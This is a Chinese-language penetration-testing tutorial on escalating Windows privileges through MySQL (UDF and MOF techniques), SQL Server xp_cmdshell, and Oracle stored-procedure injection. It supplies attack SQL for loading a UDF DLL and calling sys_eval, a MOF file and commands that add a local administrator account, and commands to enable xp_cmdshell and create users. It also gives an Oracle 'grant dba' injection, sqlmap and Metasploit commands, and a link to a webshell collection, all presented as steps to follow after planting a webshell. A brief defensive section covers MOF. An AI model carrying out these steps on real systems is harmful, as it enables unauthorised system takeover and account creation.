windows渗透测试中常见提权方式总结(二)
Contents
数据库提权
mysql提权概述
分类
- 功能型:udf提权
- 技巧型:启动项提权
- 漏洞型:mof提权
mysql之UDF提权
原理分析:
UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。
动态链接库:是把程序代码中会使用的函数编译成机器码,不过是保存在.dll文件中。另外在编译时,不会把函数的机器码复制一份到可执行文件中。编译器只会在.exe的执行文件里,说明所要调用的函数放在哪一个*.dll文件。程序执行使用到这些函数时,操作系统会把dll文件中的函数拿出来给执行文件使用
udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。
提权常见手法:
一般来说使用udf提权的常规手法:
- 上传大马webshell,利用大马中的UDF提权功能完成提权。
- 反弹shell,进而获取交互式tty shell,在shell中连接本地数据库,从而完成UDF提权。
- 利用FuckMySQL,本地执行命令。FuckMySQL项目针对Windows平台。
- 利用SQLMAP中的-d参数连接远程数据库,自动上传so库完成UDF提权,从而获取os-shell
- 使用Navicat等数据库管理工具连接远程数据库,从而完成UDF提权。
其实这些手法的主要目的都是想方设法登陆数据库服务来执行SQL语句,进而获取到启动MySQL服务的root权限,
提权的一些前提:
利用udf提权有一些利用的先决条件:
- MySQL 数据库没有开启安全模式。
- 已知的数据库账号具有对 MySQL 数据库 insert 和 delete 的权限,最好是 root 最高权限。
- shell 有写入到数据库安装目录的权限。
高版本mysql(mysql Version>5.7)遇到的一些问题:
secure-file-priv默认不为空,即不允许在任意文件夹中导出文件;
如果对方开启了安全模式,我们是无法利用这个办法进行提权的,所以,为了完成今天的浮现,我们需要关闭安全模式。
1
secure_file_priv=""
1
将这个代码插入到 mysql 配置文件的最后,重启服务,便可以关闭安全模式。
默认root用户使用的authentication-plugins为auth_socket,即在本地登录MySQL时使用unix套接字登录,而非密码;
- mysql.user下password列更改为authentication_string列。
提权复现
首先通过各种手段获取一个网站的webshell,使用菜刀连接。
这个时候获取到的权限往往是一个低用户权限,我们尝试使用udf数据库提权
我们这里上传一个暗月的mysql数据库提权大马,命名为dama.php
https://github.com/tennc/webshell这个里面包含了很多webshell,里面还有几种mysql数据库提权马,也可以试试(建议下到虚拟机里!!!!!)
直接网页访问,提示我们需要数据库密码,这里我们可以到网站下数据库配置文件找下config.php
登录后,发现这里直接给出了一些数据库版本为:5.5.53
还可以执行数据库命令:
这里补充一个点:
- 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
- 如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录
但是mysql默认状态下没有这个文件夹,需要我们自行创建。
用NTFS ADS流模式突破进而创建文件夹
1 | select @@basedir; //查找到mysql的目录 |
我直接在菜刀下创建plugin文件夹
然后最关键的一步:导出UDF文件
导出后,再次尝试文件已经存在,说明导入成功。
现在只是把udf的动态链接库导出到指定文件夹,还不能使用里面的自定义函数。要想使用自定义函数,就要把udf.dll中的自定义函数引入。
引入sys_eval函数:
1 | CREATE FUNCTION sys_eval RETURNS STRING SONAME 'moonudf.dll' |
其中,sys_eval函数是执行任意命令,并将输出返回函数的名字,moonudf.dll是你导出文件的名字;
之后使用命令模板即可执行命令:
1 | select sys_eval('ipconfig) |
也可以直接使用大马这里的功能选项:
其他udf提权方法:
msf udp模块
我们使用命令search udf
即可看到udf提权payload
进入模块,看一下需要配置选项:
注:这里注意版本,适用于5.5.9以下,
sqlmap命令
使用SQLMAP的-d命令来连接服务并执行UDF提权语句;
1 | sqlmap -d mysql://root:xxxxxx@VPS:3306/mysql --os-shell |
mysql数据库提权之MOF提权
原理分析:
利用了c:/windows/system32/wbem/mof/
目录下的 nullevt.mof
文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。
提权复现:
首先需要具备Mysql的root
权限,我们还是使用上面菜刀连接获得的webshell
然后我们将nullevt.mof
导入到一下可写目录
文件内容:
1 | #pragma namespace("\\\\.\\root\\subscription") |
这里net user test test /add
可以自定义,我们这里就是添加一个test用户。
之后我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/
下
1 | select load_file("C:/phpStudy/WWW/nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof" |
可以使用菜刀下的数据库管理工具执行
执行后,到win2003上查看用户:
之后我们可以将自定义的命令改为:
1 | net.exe localgroup administrators test /add |
即可对添加的用户进行提权。
其他mof提权方法:
msf mof提权
使用mysql_mof
模块,有的版本不能成功,
上传mof.php
直接上传mof.php执行命令
我试了几次都失败了,这里应该需要开启mysql远程连接的功能。。。。
防范方法
Mysql Root权限MOF方法提权其前提条件是能够将上传的nullevt.mof复制到系统目录下,例如c:\windows\system32\wbem\mof中,如果无法复制则会提权失败。一般对Windows2003以下操作系统效果较好,Windows2008以上由于保护机制,较少能够成功。因此可以采取以下措施进行防范:
- 在程序数据库连接文件中尽量不要使用Root帐号进行连接。
- Root帐号使用强加密方式,采用字母大小写+数字+特殊字符,密码位数15位以上。
- 对Mysql数据库的mysql数据库目录权限严格限制,IIS用户无法读写该文件。
SQL Server提权
原理分析
xp_cmdshell是Sql Server中的一个组件,我们可以用它来执行系统命令。
利用过程
利用前提:
- getshell或者存在sql注入并且能够执行命令
- sql server是system权限,sql server默认就是system权限。
- 获取SA用户口令
获取SA用户口令方法
- Webshell或源码获取,一般在网站的配置文件中有存放明文账号密码,常用配置文件名如:
1 | conn.aspx |
获得sa口令,即可通过我们上传的大马进行登录,获得sa相应权限
有了xp_cmdshell的话可以执行系统命令,该组件默认是关闭的,因此需要把它打开。
开启xp_cmdshell
1 | exec sp_configure 'show advanced options', 1;reconfigure; |
关闭xp_cmdshell
1 | exec sp_configure 'show advanced options', 1;reconfigure; |
提权
1 | exec master..xp_cmdshell 'net user test pinohd123. /add' 添加用户test,密码test |
Oracle数据库提权之注入存储过程提权
原理分析
SYS创建的存储过程存在sql注入。拥有create procedure
权限的用户通过创建提权函数,将提权函数注入到存储过程中,于是该存储过程将调用这个提权函数来执行grant dba to quan
命令,获得Oracle数据库dba权限。
利用条件
- SYS创建的存储过程
存在sql注入
(EG:CVE-2005-4832) - 用户拥有
create procedure
权限(用来创建函数)
提权步骤
假设有一个用户quan 只有 CONNECT 和 RESOURCE 权限
手工注入
- 用户登陆后执行
select * from session_privs
查看权限 - 创建函数,命令为
grant dba to quan
grant execute on pwn to public;//赋予所有用户此函数的执行权限
1 | SQL>create or replace function pwn return vaarchar2 |
注入sys.dbms_cdc_subscribe.activate_subscription
1 | SQL>begin |
执行select * from session_privs
查看是否为dba权限
利用MSF注入
1.加载攻击模块
1 | use auxiliary/sqli/oracle/dbms_cdc_subscribe.activate_subscription |
2.配置参数
1 | set dbuser quan |
3.run
Oracle数据库提权之通过utl_http.request存储过程提权
原理分析
Oracle9i~11gR2中dbms_xmlquery.newcontext()
和dbms_xmlquery.getxml()
函数可以执行任意PL/SQL语句,利用这两个函数可以获得Oracle服务器的操作系统权限。
利用条件
- UTL_HTTP存储过程可用
- Oracle9i~11gR2
提权步骤
- 创建Java包
- 创建存储过程MYJAVACMD
- 执行存储过程,成功添加用户
参考文章
https://www.cnblogs.com/0nc3/p/12081189.html
https://www.webshell.cc/4790.html